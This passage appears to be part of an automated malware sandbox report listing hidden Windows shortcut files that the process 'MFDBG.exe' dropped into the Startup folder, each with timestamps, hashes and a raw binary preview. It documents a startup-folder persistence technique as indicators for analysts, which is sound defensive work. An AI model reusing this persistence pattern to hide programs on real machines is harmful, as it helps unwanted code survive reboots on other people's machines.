Preview:	L..................F...."...]W%.{.....3.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a136defe1434961a1a61054cbd05e62.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937621631793056
Encrypted:	false
SSDEEP:	24:8qhBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ANQ0R6rMhpBoUBxdRd1nYyg
MD5:	59B17DE59659338011BA0B7FC26D8915
SHA1:	A1B43AAD33EFAAB4182055C22AD566D4DC91627A
SHA-256:	B2A7B601DF8C26BB0EB69AA862F79B2D2747CED64A5DBA02F099D2DFE871FCD3
SHA-512:	5E116386FC66B344E79EA57406C59DDFA7EB9CF765FD13798982480A8A246A3DE8484654311BC07A5EB89CE96A894CAA2258AEFEE1AF259BFF3C844186E0E381
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a15294d18aa45578e63e6b6310b9bf5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9397978980972495
Encrypted:	false
SSDEEP:	24:89hBfGK8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89un0R6rMhpBoUBxdRd1nYyg
MD5:	43B88188C4B739C0A42BBA3E86AEF3DD
SHA1:	103F6A21432BC3598B9339BCCF477BEDD6DDE02D
SHA-256:	373DC1D59195B4EBB7DB9E18DD5552591A5788E0228DAA524F4FDC19926EA7BE
SHA-512:	05CF00CBFCFF400FBE63B6B3308F43C3E0FEE8F6B27E8C132ADB4494C875B18F71BDB74CD35B210EA5076F3849EA26C5D02A2645D0AB270A0825841B09AA3EFD
Malicious:	false
Preview:	L..................F...."...]W%.{...e:H.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a3b2ddc65da4483af908f54339811fe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936436198979831
Encrypted:	false
SSDEEP:	24:8wGhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wM+0R6rMhpBoUBxdRd1nYyg
MD5:	1BDAB586E3A77B936552304E590F161A
SHA1:	3344E2DFDF8E8C90A8A182BBA8D1508C178A6209
SHA-256:	FCC4910ED09525A6ECFC2DA9AD4BB6AF730196C0F9DDD86234C173B33937FBF6
SHA-512:	E4B17A5910F7499665A9D65861199A4B01FEEA3BE07814FCF2898201777FAA86F299C752B7E3EA0EB4646F4100B2532DAF4259530512557DCDAD59AD3B77716E
Malicious:	false
Preview:	L..................F...."...]W%.{.... ..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a512bef118d466c86971eae5e0748fd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939508600471539
Encrypted:	false
SSDEEP:	24:8dhBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8d60R6rMhpBoUBxdRd1nYyg
MD5:	A37D70885E245635ED2DED9EB43047C0
SHA1:	FD97A1B2AF69B046E68D7242FC949D599599F69B
SHA-256:	1FE819E87AF2D627AEC3F2632633420125902BA86D980979C777256DA2DE1459
SHA-512:	C2FFC263C123EFC51DCC997B3C358300DD6A21CF512D77A8086C86BC5DE309130CE509516B6804A9E4E959AF364C458F6A5D570069D758510D47592ACDE7CE60
Malicious:	false
Preview:	L..................F...."...]W%.{....N..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a637a42e43b4ae2b40d8296ccdf4f70.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932851426313453
Encrypted:	false
SSDEEP:	24:8qhBfV+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8A50R6rMhpBoUBxdRd1nYyg
MD5:	F98028EDED100DB25D1EA829E9287912
SHA1:	4CE39FD217FF38F58DD2B49409F76B3BBE1C8C98
SHA-256:	E22F8CC51AC64B87DEB41841C65152CAD408D020A6ACCB63057AA0860F037A4B
SHA-512:	06AFDA444B06758A6EB2B4CDDAAB9A064DC6B1A40C8EE9AA65EE7DCE26FC9245EEDA892E6AA9918D0973A5C81F151BD03FAFB2FC434E8D05FACAFDACB93E4CD0
Malicious:	false
Preview:	L..................F...."...]W%.{....p..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...=!..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a6f6d299d334e33b96146fb96e82fa0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93437080329924
Encrypted:	false
SSDEEP:	24:8b2hBf/8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bcM0R6rMhpBoUBxdRd1nYyg
MD5:	6D1E60F9E688E788DB28A6E4F08FD116
SHA1:	E9124ADE4CEFB90E3B489FBDA32F384F54ABBAEA
SHA-256:	DA2C0D10AA3B98F9E3EAC7BAE2F32EFCDA702F23A45036A0AEB3F2003B64320A
SHA-512:	611F797921A6D345D604B99CF3FF9E122846E4FFBBB252D6631182A29ADE9923D93E447C041B6944ECBBD3F43B230B61C17BE2BAA3E647501217A87FEC7B1C33
Malicious:	false
Preview:	L..................F...."...]W%.{....1..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9abfc9b689734b86937c4f842ff8ee6f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942293851095969
Encrypted:	false
SSDEEP:	24:8YphBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8YpZ0R6rMhpBoUBxdRd1nYyg
MD5:	A4D1B404F15C32F5A546757864A35879
SHA1:	45A5AE01FAE694B09D274E29ABEF34F807C7D18D
SHA-256:	5DFE8217D239465E1940D10D117DF7793EF00FB26388F68D2835DA464B28D3C7
SHA-512:	08C5D3612D3BD6474393245558028ACBE1AD1EA600FA8C782F141DE08C5657ABDD64A6AD02EB4C54010F0D8311CC22E0FE71379EFB2749BF9011C15819BAA22C
Malicious:	false
Preview:	L..................F...."...]W%.{...\|6..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9b4ad631314a41dcae46e30eaf1c544a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934270814082385
Encrypted:	false
SSDEEP:	24:8UXGhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:88M/0R6rMhpBoUBxdRd1nYyg
MD5:	16B55099CC1727D6AAB1B15F2F02A723
SHA1:	FACE63E774CBE72E6E0F456A3FE77F588A753265
SHA-256:	AE4BB53D41C7D181DA619C35A9A19C6F336404FD3A4786537088E238DFDEB651
SHA-512:	278588E7E13A91F31A96FB2DC15DD929D3BC6AEFEEBE48CCB4CEBE7602A2F26D2FA8F4A964104E25D880BACD159CB982BF8286BF49734995AF20E97BFF11ECCF
Malicious:	false
Preview:	L..................F...."...]W%.{....!w.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9bb82072f6e64ac4bfd5e88e9e99a8f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941847826931496
Encrypted:	false
SSDEEP:	24:8rhBf7T8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Pzg0R6rMhpBoUBxdRd1nYyg
MD5:	A71DE9E78C3238AE907FE16DFCACA53F
SHA1:	1753703BBFA9FA2AEE0E0075F14070593774D0A9
SHA-256:	44BEEEA16C5BE9763B47579C81A17A87666D60DD8FF7270DDB35241E1C6DFB77
SHA-512:	4ABA433A9C21578AE12A98C11F1E68CCFA7AD1CDF6E6AA24981A062669FF8712B52DFDA5A8F7E2E1021C89D08EE7B65FA6C810B44DD926B0CA16501080AE8603
Malicious:	false
Preview:	L..................F...."...]W%.{.....o.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....h.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c25a43f6b9d44b1b091cd6a941fc93a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935529394311225
Encrypted:	false
SSDEEP:	24:8CjhBf8p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CXh0R6rMhpBoUBxdRd1nYyg
MD5:	89FA5E6A3BFF652E76C5D081A50D45BD
SHA1:	F1616F9132226BA45A86989E92035A161245D727
SHA-256:	9C16C4AB2B89E79AE14B9213C804A6313F431DB858CE221DABFB40DD31882610
SHA-512:	68BE8E403B798C3393F668DCF8D91BB3653AE2FAC0B405B7DCDDD55AF2136C3C56E74BDC0D7BE8522B2C9E89DC0FEF29395AB45BB6089BE9105D9A28901F2D01
Malicious:	false
Preview:	L..................F...."...]W%.{...U.r.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....lw.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c33e7f6ca384817833fb2750876a3d9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935959194734427
Encrypted:	false
SSDEEP:	24:8whBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8i/0R6rMhpBoUBxdRd1nYyg
MD5:	39DF706E0057AC1E4198718D6DF5253C
SHA1:	AFBD9CE5A2185C3BE993908A14745DA948FD6E43
SHA-256:	A5A8B79AD537FB989144FE836963938080914DEAD0D3A725452E6E84FD896FB7
SHA-512:	26CDEAC28895B53D23E4B2900D8BA4181588881E83BD8999AFBB949B29D318B46BF1DC0C45C3F40C39C345101DB6A25A99781099C6193AABE776B31B23E0B102
Malicious:	false
Preview:	L..................F...."...]W%.{...'4..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c571ce83fd641f7979d28f075139deb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9356045085815605
Encrypted:	false
SSDEEP:	24:8WphBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CR0R6rMhpBoUBxdRd1nYyg
MD5:	4800FB105E8A5F18D1086A8BDFA93555
SHA1:	E120CF662E12F2E23BC5303F0AD9C2F849B5EF5D
SHA-256:	9CFCE993980D6D884D2EAEF5E90297A461F51559C05BF315072E3E3110176973
SHA-512:	90F16C410E8166CCF68F92637FAB68CFAD4E2DB9E0C7F666C7E2F7E3553C2AEBEB4A28ACBE51153A9D9965B880C76379A21B9BD5FE130D9AAA25FF9B259626C5
Malicious:	false
Preview:	L..................F...."...]W%.{....J..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c6fa30d6f2e4293b1d641ce28009152.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9371897154973095
Encrypted:	false
SSDEEP:	24:8vhBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zp0R6rMhpBoUBxdRd1nYyg
MD5:	F2BF1C62275CB6DAD1FEFE377B2C0AE5
SHA1:	73AF1D00CC699978C1F2813CDEF1250317A31140
SHA-256:	8BADBE7E3A32E0D2083ACA4C3CD7C2B8E7A08ABF52849B83987A56A22D46F8A7
SHA-512:	F9911D32C425E89A0558B26BDEE222EDECBCAA027BB6DC6DDDEFBE7B4C22399DB31C4FF821AA357E264541C667067C535460D780967EED3DAF2D04B6B6F6AF80
Malicious:	false
